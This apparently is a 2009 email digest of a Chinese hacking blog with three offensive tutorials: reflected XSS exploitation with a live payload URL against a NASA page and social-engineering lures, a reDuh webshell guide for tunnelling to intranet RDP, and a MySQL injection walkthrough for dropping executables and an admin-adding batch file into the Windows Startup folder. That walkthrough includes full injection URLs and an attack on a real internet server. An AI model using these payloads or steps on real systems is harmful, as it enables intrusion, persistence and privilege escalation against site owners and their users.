2009年3月14日星期六

鬼仔's Blog


来自"鬼仔's Blog"的最新文章,如果您不希望再收到此邮件,请退订;如果您需要更换其它邮箱接收邮件,请点击这里

Fuck The World!

浅谈反射型XSS的利用

Sat, 14 Mar 2009 19:10:20 +0800

|=---------------------------------------------------------------------------=|
|=-------------------------=[ 浅谈反射型XSS的利用 ]=-------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=----------------------=[     Author:ShadowHider ]=----------------------=|
|=--------------------=[    <ShadowHider_at_msn.com>   ]=--------------------=|
|=-----------------=[      http://hi.baidu.com/zrxc/      ]=-----------------=|
|=---------------------------------------------------------------------------=|

-[目录]
-0x01 前言
-0x02 什么是反射型XSS
-0x03 反射型XSS的常见利用方法
-0x04 浅析Anehta回旋镖模块工作原理
-0x05 小结

-0x01 [前言]
#sH:看过了那么多的paper,心血来潮,自己也来写个:)科普型paper,大牛略过。- -:
在Web 2.0技术的发展下越来越多的计算工作被放到客户端处理,由于程序员的疏忽,导致了许多的安全漏洞。XSS属于比较常见的一种,在前几年XSS还并不怎么被人重视,但如今,随着XSS漏洞的危害日益增大,如校内和baidu空间前阵子的XSS WORM等等,其危害之大也引起了大家的重视。
XSS的类型大体分为两种:反射型XSS和持久型XSS,相比之下,后者的利用要比前者方便许多。甚至许多人认为反射型的XSS是鸡肋,因为其利用起来很不方便,但在安全技术飞速发展的今天,鸡肋也有变鸡翅的一天。下面我们来看看什么是反射型XSS。

-0x02 [什么是反射型XSS]
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。
那么什么是反射型XSS呢?黑哥对我讲的是形如"http://www.jpl.nasa.gov/about_JPL/maps.cfm?departure=lax%22%3Cimg%20src=k.png%20onerror=alert(%22XSSed%20by%20sH%22)%20/%3E"这样需要欺骗用户自己去点击链接才能触发XSS的是反射型XSS,如在论坛发贴处的XSS就是持久型的XSS。
非持久性XSS(Reflected cross-site scripting),是我们通常所说的反射型XSS,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
持久性XSS(Persistent cross-site scripting),指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
很多人非常鄙视非持久性XSS(反射型XSS),认为这种XSS只能依靠欺骗的手段去骗人点击,才能让攻击正常实施起来。其实让反射型XSS变得持久的方法,已经出现过好多次了。比如利用applet、利用flash的AS脚本、利用IE的Ghost 页面,Cross Iframe Trick等等。

-0x03 [反射型XSS的常见利用方法]
既然是"需要欺骗用户自己去点击链接才能触发XSS",那利用反射型XSS岂不是只有去忽悠用户这一种方法?放在几年前也许是这样的,现如今,就要上演鸡肋变鸡翅的好戏了!
[1]欺骗
不得不说这是最简单有效的利用方法了,但对忽悠的能力有严格的要求,不然用户不会那么容易上钩的。其次,现在的用户都有了一定的安全意识,也不是那么好骗了。以上面提到的链接为例,由于是NASA网站的跨站,大家完全可以在一些天文爱好者聚集的群里发类似这样的消息,如:"美国航空航天局公布最新UFO照片"然后加上我们的链接。由于是NASA的链接(现在连小学生都知道NASA是干什么的),我想应该会有一部分人相信而去点击从而达到了我们的目的,这个反射型的XSS被触发。但如果不是这么碰巧呢?请往下看。
[2]ClickJacking
在去年的OWASP会议上,ClickJacking这种攻击方式被提了出来。简单来说ClickJacking大致是这么回事:
1. 表现为点击某个链接或button时,实际上是点击到别的地方去了(劫持链接)
2. 不一定需要javascript,所以noscript也挡不住,但是如果有javascript会让事情更简单
3. 攻击是基于DHTML的
4. 需要攻击者一定程度上控制页面
所以,我们只要将用户的点击劫持到我们的链接上去就行了,而且ClickJacking是可以跨域的哦~
具体应用示例大家去google下就有了。
[3]结合CSRF技术
CSRF是伪造客户端请求的一种攻击,CSRF的英文全称是Cross Site Request Forgery,字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出,国内直到06年初才被关注。
结合CSRF技术来利用反射型XSS是种不错的方法,利用CSRF可以使得这些不好利用的XSS漏洞变得威力无穷。具体示例请参考余弦的《基于CSRF的XSS攻击》(http://huaidan.org/archives/2561.html),这里就不细说了,有机会专门写篇关于CSRF的paper。
[4]Cross Iframe Trick
先讲讲这种攻击能够达成什么效果:
1. 跨域执行脚本(IE、Firefox)
2. 把非持久性XSS变成持久性XSS -->!!!
3. 跨页面执行脚本
这种攻击方法比较绕,具体请参考《Cross Iframe Trick》(http://hi.baidu.com/aullik5/blog/item/07d68eb015d72652092302b1.html)
[5]反转雅典娜---配合Anehta的回旋镖模块
什么是Anehta? Anehta是一个跨站脚本攻击(XSS)的利用平台。功能模块化,开发者可以单独为anehta开发各种各样的模块,以满足独特的需求。Anehta中有许多的具有创意的设计,回旋镖模块(Boomerang),就是其中一个。回旋镖模块的作用,是为了跨域获取本地cookie,只是在站点上有一个XSS,种类不限,不管是反射型XSS,还是持久型XSS,都可以为我们工作。
这时,反射型XSS的余热就被充分的发挥了。
具体示例请参考axis牛的《Anehta -- Boomerang(回旋镖),如何将反射型XSS变成持久型XSS:论跨域获取cookie》(http://hi.baidu.com/aullik5/blog/item/02bccaeb018dc4d5d539c930.html),这里就不再做详细的介绍。

-0x04 [浅析Anehta回旋镖模块工作原理]
既然提到了Anehta的Boomerang模块,那就简单说说吧。
Boomerang的工作原理:我们知道,浏览器被XSS攻击后,攻击者可以用js或其他脚本控制浏览器的行为。这时候如果我们强制浏览器去访问站点B上一个存在XSS漏洞的页面,就可以继续用B站上的XSS_B控制用户的浏览器行为; 那么把整个过程结合起来,简单表示如下:
victim Browser --->site A,XSS_A ---- redirect to ---->Site B,XSS_B ----- redirect somewhere --->.....
在IE中,iframe、img等标签都是拦截本地cookie的。需要使用不拦截cookie的比如 window.open等方法,但是window.open会被IE拦截弹出窗口,所以axis牛在Boomerang中使用了表单提交,构造一个form,向site B提交,然后再从Site B导入一个XSS B,获取了cookie后,再通过表单提交,跳转回原来的Site A.如果在Site B上,使用XSS_B再将页面重新定向回 Site A,那么对于用户来说,就是简单的闪了一下,非常具有欺骗性,整个过程就像用回旋镖扔出去打了一下B一样。
但其实这并没有把反射型XSS真正的变成持久型的XSS,只是反射型XSS的一种攻击方式而已,也没有跨域,而是URL重定向转了一圈,跳了一圈又回来了。但这确实是让反射型XSS得到了充分的利用,达到了我们的目的。axis牛的这种思路非常值得我们学习!

-0x05 [小结]
本文只总结了常见的反射型XSS利用的方法,但都是简单的提了下,起到了个抛砖引玉的作用,让大家见到反射型XSS时能想到这些(貌似要都详细写出来就太多了- -:),如有不足之处还请各位见谅。为了写这个查了很多资料,另外还要感谢黑哥耐心解答我的问题(黑哥对我的第一句话总是"?") - -:。第一次写paper,好与不好的大家就凑和看吧。有错误的地方还请各位大牛指出,谢谢。
希望本文对您有帮助,同时也欢迎各位同我交流:MSN:ShadowHider[at]msn.com
Bye~
|=----------------------------------------[EOF]-------------------------------------=|


发表评论 | 分类:技术文章

© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2927.html

相关日志


返回顶部

内网渗透利器--reDuh(webshell跳板)简单使用说明

Sat, 14 Mar 2009 19:05:23 +0800

作者:sai52[B.H.S.T]

国外大牛的作品,偶顺手写了个使用说明。E文好的看原文  http://www.sensepost.com/research/reDuh/

这个工具可以把内网服务器的端口通过http/https隧道转发到本机,形成一个连通回路。用于目标服务器在内网或做了端口策略的情况下连接目标服务器内部开放端口。

本机-------客户端---------(http隧道)-----------服务端------------------内网服务器

服务端是个webshell(针对不同服务器有aspx,php,jsp三个版本),客户端是java写的,本机执行最好装上JDK。

把客户端文件解包,这里我把它放到E盘的TEST文件夹

011
图01

把服务端的webshell上传到目标服务器。

021
图02

目标服务器在内网,开了终端服务。

031
图03

命令行下用客户端连接服务端

E:\test>java reDuhClient 目标服务器域名 http 80 /WEBSHELL路径/reDuh.aspx

041
图04

新开一个命令行,用NC连接本机1010端口。

H:\>nc -vv localhost 1010

051
图05

连接成功会有欢迎提示,之后输入命令

>>[createTunnel]1234:127.0.0.1:3389

前面的1234是本机连接用的端口,中间的ip地址是目标服务器的(可以是webshell所在服务器也可以是和它同内网的服务器),后面的3389是欲连接目标服务器的端口。

成功后两个命令行窗口都会有成功提示。

061
图06

071
图07

这时通道已经建立,你连接本机的1234端口就相当于连接到目标服务器的3389端口了。

081
图08

091
图09

数据的传递过程

101
图10

需要注意的是用此工具转发数据速度很慢,连接的时候应尽量把mstsc的颜色设置调低些。

reDuh客户端下载  reduhclient-0.3.zip
reDuh服务端下载  reduh-server-all.gz


发表评论 | 分类:技术文章

© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2926.html

相关日志


返回顶部

MYSQL注入中导出可执行文件至启动项原理及实例

Sat, 14 Mar 2009 18:35:41 +0800

作者:sai52[B.H.S.T]

前言

之前在《mysql下读取文件的几种方式及应用》一文中提到在mysql注入中理论上应该可以导出可执行二进制文件到启动项的说法,现给出原理及实例供大家参考。

MYSQL注入中导出文件需满足的条件大家都知道,就不多说了,要导出可执行二进制文件还需注入点必须存在二进制编码格式数据类型的字段(如BLOB或LONGBLOB数据类型)。要导出可执行bat文件对字段的数据类型没有要求。其他一些附加限制条件依环境而定。

在注入页面无法爆出物理路径的情况下,如果满足上述条件,可以考虑用这种方法得到权限。

实现原理

将可执行文件用HEX()编码后,分段导出并UNHEX()解码所有HEX()编码后的文件分段,在导出的文件中重组为完整的文件。

相关以下几个方面的知识,不懂可以参考。

1. 不同数据类型的字段可存储同种编码方式的数据

MYSQL数据库中,要存取不同编码方式的数据,列数据类型必须与欲存取数据的编码方式相对应。当表中各不同数据类型的列中存储的数据采用同一种编码方式时,尽管各个列的数据类型不同,此时表中只有一种编码方式。因此当把一个文件按数据表中的列数分为多段并以同种编码方式存储于各不同数据类型的列中时,若将整个数据表中的数据按列顺序导出到同一个文件中,就可以重组还原成同一编码的完整文件。HEX编码方式役属于几乎所有数据类型,在 int,text,blob,data ...等数据类型中,在其存储范围内,被hex()编码过的文件都可以合法存储。

2. 各数据类型的存储范围

我们平时在注入中使用UNION查询一般都采用数字匹配字段的方式以达到select_expression的适用条件(即UNION后面查选的字段数量、字段数据类型都应该与最前面SELECT的一样),这是因为数字役属于几乎所有数据类型,因此可以匹配任何字段,HEX编码方式同样役属于几乎所有数据类型,因此我们可以把一个文件用HEX()函数编码,接着把编码后的文件按数据表中的列数分为多段数据,每一段数据按顺序匹配对应字段,构造注入 URL,导出完整的文件。

在把HEX()编码后的文件分段时,需要了解各数据类型的存储范围,从而判断注入点各字段允许提交数据的长度和可存储编码范围,以便把最长的分段数据放在存储范围最大的数据类型的字段上。详细请参照《MySQL数据类型简介》(http://www.sai52.com/archives/769/)。

3. UNION的特性导致的不同注入点利用方法

MYSQL只要数据能在对应数据类型的列中完整存储,就可以导出任意文件名的完整文件。也就是说,我们把二进制文件用HEX()编码后可以存储在TEXT数据类型等非二进制编码的字段上,导出时UNHEX()解码依然能保存为完整的二进制文件。如

mysql>create table a (id int,cmd TEXT); mysql>insert into a (id,cmd) values (1,hex(load_file('c:\\windows\\system32\\regedt32.exe'))); mysql>select unhex(cmd) FROM a where id =1 INTO DUMPFILE 'd:\\regedt32.exe';

语句中unhex(cmd)已经改变了所选字段的数据类型为二进制,因此可以导出完整的二进制文件,而在注入中我们用UNION连接SELECT语句时,UNION后面查询的字段数量、字段数据类型都得与最前面的SELECT一样,此时

SELECT cmd FROM a where id=1 and 1=2 UNION SELECT unhex(cmd) FROM a INTO DUMPFILE 'd:\\regedt32.exe';

语句中unhex(cmd)字段的数据类型与最前面的cmd字段的数据类型不同,二进制编码的数据无法在TEXT数据类型中完整储存,因此无法导出完整的二进制文件。要导出完整的二进制文件,最前面SELECT所选的字段中必须有以二进制存储数据的数据类型,如BLOB,LONGBLOB等。导出 bat文件无此要求,任何类型的字段只要在其存储范围内都可以。

4. INTO DUMPFILE 的特性

如果使用INTO DUMPFILE导出数据,则MySQL只把一行写入到文件中,不对任何列或行进行终止,也不执行任何转义处理。INTO DUMPFILE 的这个特性说白了就是"无缝连接",它既可以用于从列中导出数据到文件,也可以用于从表中导出数据到文件。

UNHEX()函数执行从HEX()的反向操作。就是说,它将参数中的每一对十六进制数字理解为一个数字,并将其转化为该数字代表的字符。结果字符以二进制字符串的形式返回。0x与UNHEX()意义相同。

当表中的各个不同数据类型的列依次存储了所有的HEX编码后的文件分段时,用SELECT 0x文件十六进制数据part1,0x文件十六进制数据part2,0x文件十六进制数据part3,....0x文件十六进制数据partN INTO DUMPFILE 的方式导出表中全部数据到一个新文件,此时各个列中的HEX编码文件分段分别被还原到新文件中的对应顺序部分,之后被"无缝连接"在一起,形成一个与原文件编码方式及大小一模一样的新文件,被保存到你想要它去的地方,比如启动项。

5. GET与POST方式提交数据的限制

注入点多以GET方式取得数据,而GET方式请求的URL长度受特定的浏览器及服务器两方面的限制(注意这个限制是整个URL长度,而不仅仅是你的参数值数据长度):

如果URL的长度超出客户端浏览器限制,提交时浏览器无响应。
如果URL的长度超出服务器限制,服务器不处理请求,返回错误提示"Url Too Long"。

GET方式提交超长URL时,建议使用NC或数据提交工具。

经过实验得知,用GET方式传递WEB页面参数时服务器允许的最大值为16000字节左右(WIN2003+IIS环境),也即是说,导出的可执行二进制文件在7.9k以内时,可以正常导出。如果是POST方式的注入点,提交数据的最大长度只受限于服务器设置,如php.ini的设置等。

6.MYSQL默认字符集对导出路径中双字符编码的影响

mysql5提供了几个设置字符集的系统变量,其中character_set_client的值是MYSQL用来获得客户端传递数据的字符集的。

MYSQL(默认安装)设置是latin1的瑞典语排序方式,当我们按照默认设置方式通过PHP存取MySQL数据库时,无论通过哪种方式的编码发送查询,MYSQL都认为传输过来的数据是latin1编码。

网页提交的双字节字符编码数据(如中文,日文,韩文等),(在服务器没有进行特殊设置的情况下)被提交后被默认是UTF8编码(与提交时设定的编码无关),MYSQL按自身默认的latin1编码来读取,双字符编码的文字必然会显示为乱码,这样在用INTO OUTFILE 或 INTO DUMPFILE 导出数据到文件时,导出路径中的双字符编码文字就会显示为乱码,导致MYSQL因为找不到显示成乱码的路径而导致导出文件失败。

如果被注入的php程序源码中包含类似

mysql_query("SET NAMES 'utf8'");

之类的设置使MYSQL服务器用来读取客户端传递数据的字符集为utf8,那么注入中就可以导出文件到双字节字符命名的目录,否则MYSQL会因为找不到显示成乱码的路径而导致导出文件失败。
01
图01

因此,如果MYSQL服务器使用的是UTF编码,或者PHP连接MYSQL数据库的语句中包含类似

mysql_query("SET NAMES 'utf8'");

之类的设置时,导出文件到双字节字符编码的文件路径成为可能,否则会导致导出失败。如果导出文件的保存路径中不包含双字节字符编码,则没有任何限制。

实例1 导出exe文件到启动项(本机搭建的 WIN2003+IIS+PHP5+MYSQL5 环境 magic_quotes_gpc=off)

PHP代码:injection.php

<? $mysql_server_name = "localhost"; $mysql_username = "root"; $mysql_password = "123456"; $mysql_database = "injection";  $conn=mysql_connect( $mysql_server_name, $mysql_username, $mysql_password ); mysql_select_db($mysql_database,$conn); mysql_query("SET NAMES 'utf8'"); $id=$_GET['id']; $sql = "select * from test where id=$id"; $result = mysql_db_query( $mysql_database, $sql,$conn ); $row = mysql_fetch_row($result);  p('<html><head>'); p('<meta http-equiv="Content-Type" content="text/html; charset=GB2312">'); p('<title>MYSQL INJECTION TEST</title></head><body>'); p('<p><b><font size="3">MYSQL INJECTION TEST</font></b></p>'); p('<table style="border-right: medium none; border-top: medium none; border-left: medium none; border-bottom: medium none; border-collapse: collapse" cellspacing="0" cellpadding="0" border="1">'); p('<tbody>');  p1(); p('数据类型'); p2(); p('内容'); p3();  p1(); p('INT'); p2(); p($row[0]); p3();  p1(); p('BLOB'); p2(); p($row[1]); p3();  p1(); p('CHAR'); p2(); p($row[2]); p3();  p1(); p('DATE'); p2(); p($row[3]); p3();  p1(); p('LONGBLOB'); p2(); p($row[4]); p3();  p1(); p('TEXT'); p2(); p($row[5]); p3();  p1(); p('TIME'); p2(); p($row[6]); p3();  p1(); p('VARCHAR'); p2(); p($row[7]); p3();  p('</tbody></table><td><div>&nbsp;</div></td>'); q('by:'); s(); p('<td><div>&nbsp;</div></td>'); q('blog:<a href="http://www.sai52.com" target="_blank">www.'); s(); p('.com</a></body></html>');  function p($line){ echo $line."\n"; }  function q($line1){ echo $line1; }  function s(){ echo str_replace('.','','s.a.i.5.2'); }  function p1(){ p('<tr><td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; padding-bottom: 0cm; border-left: windowtext 1pt solid; padding-top: 0cm; border-bottom: windowtext 1pt solid; background-color: transparent" valign="top"><div>'); }  function p2(){ p('</div><div>&nbsp;</div></td><td style="border-right: windowtext 1pt solid; padding-right: 5.4pt; border-top: windowtext 1pt solid; padding-left: 5.4pt; border-left-color: #ebe9ed; padding-bottom: 0cm; padding-top: 0cm; border-bottom: windowtext 1pt solid; background-color: transparent" valign="top"><div>'); }  function p3(){ p('</div><div>&nbsp;</div></td></tr>'); }  ?>

创建数据库代码:

//创建数据库 CREATE DATABASE injection;  //创建包含各种常用数据类型列的表 CREATE TABLE test ( id INT(4) unsigned NOT NULL auto_increment, blobtest BLOB NOT NULL default '', chartest CHAR(10) NOT NULL default '', datetest DATE NOT NULL, longblobtest LONGBLOB NOT NULL default '', texttest TEXT NOT NULL default '', timetest TIME NOT NULL, varchartest VARCHAR(10) NOT NULL default '', PRIMARY KEY (id) ) TYPE=MyISAM;  //导入数据 INSERT INTO test VALUES (1, 'blob', 'char','2009-03-01','longblob','text','23:59:59','varchar');

正常显示的页面
02
图02

构造注入字段并抓包
03
图03

现在准备从注入点导出可执行二进制文件至启动项,这里以 regedt32.exe 为例。(下载页面:http://www.cn.filename.info/f/regedt32.exe.html)

先把regedt32.exe转为十六进制编码

mysql>create table a (cmd LONGBLOB); mysql>insert into a (cmd) values (hex(load_file('c:\\windows\\system32\\regedt32.exe'))); mysql>SELECT cmd FROM a INTO DUMPFILE 'd:\\regedt32.txt';

得到 regedt32.exe的HEX编码文件,保存为 regedt32.txt 。

之后把 regedt32.txt 中的字符按注入点字段数分段,这里是8个字段,所以分为8段。这里我们把最长的一段放在第2段,在每段前面添加0x,接着在最后添加 INTO DUMPFILE 'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test.exe' 。(注意:保存路径中的空格要用%20代替)
04
图04

用改好的regedt32.txt中的内容替换之前抓包得到的数据中的字段显示部分,构成完整的待发送数据,然后用数据提交工具提交。(注意:数据后面的叹号不要忘了)
05
图05

此时test.exe已经保存在启动目录里,与regedt32.exe完全一样,可以正常执行。
06
图06

也可以采用跨库的方法,在能够提交数据的地方(如留言本)导入数据中最长一段,这里以本机的discuz论坛为例。
07
图07

构造注入URL

id=1%20and%201=2%20union%20select%200x4D5A9000,unhex(message),0x00,0x00,0x00,0x00,0x00,0x00%20from%20discuz.cdb_posts%20where%20tid=1%20into%20dumpfile%20'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test1.exe'

得到的结果和上面一样,好处在于主要数据不必使用GET方式提交,大小不受浏览器限制(受论坛设置限制)。
08
图08

实例2 导出bat文件到启动项(本机搭建的 WIN2003+IIS+PHP5+MYSQL5 环境 magic_quotes_gpc=off)

步骤和上面差不多,先把自删除的bat文件转HEX()编码,之后构造注入URL。这次把最长的一段放在TEXT数据类型的字段上。

因为数据比较少,就用浏览器直接提交了。

id=1%20and%201=2%20union%20select%200x40,0x65,0x63,0x68,0x6F,0x206F66660D0A6E6574207573657220495553525F4153504E455420313233343536202F6164640D0A6E6574206C6F63616C67726F75702061646D696E6973747261746F727320495553525F4153504E4554202F6164640D0A64656C202F6620,0x25,0x30%20into%20dumpfile%20'C:\\Documents%20and%20Settings\\All%20Users\\「开始」菜单\\程序\\启动\\test.bat'

得到如图结果
09
图09

实例3(网络上存在MYSQL注入漏洞的服务器)

目标注入点 xxxxbin.php?id=249 ,这是个下载型的注入点

xxxxbin.php?id=249 ,提示下载文件
10
图10

xxxxbin.php?id=249 and 1=1 ,提示下载文件
11
图11

xxxxbin.php?id=249 and 1=2 ,空白页面,不显错
12
图12

xxxxbin.php?id=249 order by 10 ,空白页面,不显错
13
图13

xxxxbin.php?id=249 order by 9 ,提示下载文件,说明是9个字段
14
图14

xxxxbin.php?id=249 and 1=2 union select 1,2,3,4,5,6,7,8,9 提示下载文件,文件名为4,说明控制下载文件名的字段是4
15
图15

下载文件并打开,文件内容为3,说明控制下载文件内容的字段是3
16
图16

从上述目标注入点的表现已经可以猜到--此程序采用的存储方式是把文件直接导入数据库,鉴于其提供下载的文件类型为二进制,可以猜到控制下载文件内容的字段3是BLOB或LONGBLOB数据类型。

之后就是看看权限和MYSQL版本号

xxxxbin.php?id=249 and 1=2 union select 1,2,version(),user(),5,6,7,8,9
17
图17
18
图18

没有过滤单引号
19
图19

现在准备从注入点导出可执行二进制至启动项,这里仍以 regedt32.exe 为例。

把得到的 regedt32.exe的HEX编码文件中的字符按注入点字段数分段,这里是9个字段,所以分为9段。从上面注入点的表现可知--控制下载文件内容的字段3是BLOB或LONGBLOB数据类型,所以我们把最长的一段放在第三段。

抓包
20
图20

构造URL
21
图21

发送
22
图22

登陆上去,看到文件已经保存在C盘了。
23
图23


发表评论 | 分类:技术文章

© 鬼仔 for 鬼仔's Blog, 2009. | 本文网址:http://huaidan.org/archives/2915.html

相关日志


返回顶部

您可以直接回复此邮件与作者联系,该服务由Feedsky提供技术支持,祝您使用愉快

没有评论:

发表评论